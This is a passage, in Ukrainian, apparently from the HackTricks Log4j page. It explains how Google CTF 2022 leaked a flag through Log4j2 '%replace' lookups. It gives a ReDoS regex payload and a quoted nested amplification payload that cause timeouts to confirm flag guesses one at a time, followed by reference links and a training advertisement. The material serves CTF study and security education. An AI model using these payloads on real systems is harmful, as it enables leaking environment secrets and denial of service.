Як було згадано в попередньому розділі, **`%replace`** підтримує **regexes**. Тому можливо використовувати payload з [**ReDoS сторінки**](../regular-expression-denial-of-service-redos.md), щоб викликати **тайм-аут**, якщо прапор знайдено.\
|
||
Наприклад, payload на кшталт `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` викликав би **тайм-аут** в цьому CTF.
|
||
|
||
У цьому [**описі**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) замість використання атаки ReDoS використовували **атака посилення**, щоб викликати різницю в часі у відповіді:
|
||
|
||
> ```
|
||
> /%replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> ```
|
||
>
|
||
> Якщо прапор починається з `flagGuess`, весь прапор замінюється на 29 `#`-ів (я використав цей символ, оскільки він, ймовірно, не буде частиною прапора). **Кожен з отриманих 29 `#`-ів потім замінюється на 54 `#`-и**. Цей процес повторюється **6 разів**, що призводить до загальної кількості ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-ів!**
|
||
>
|
||
> Заміна такої кількості `#`-ів викличе 10-секундний тайм-аут додатку Flask, що, в свою чергу, призведе до відправлення коду статусу HTTP 500 користувачу. (Якщо прапор не починається з `flagGuess`, ми отримаємо статус-код, відмінний від 500)
|
||
|
||
## Посилання
|
||
|
||
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
|
||
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
|
||
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
|
||
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
|
||
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
|
||
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
|
||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|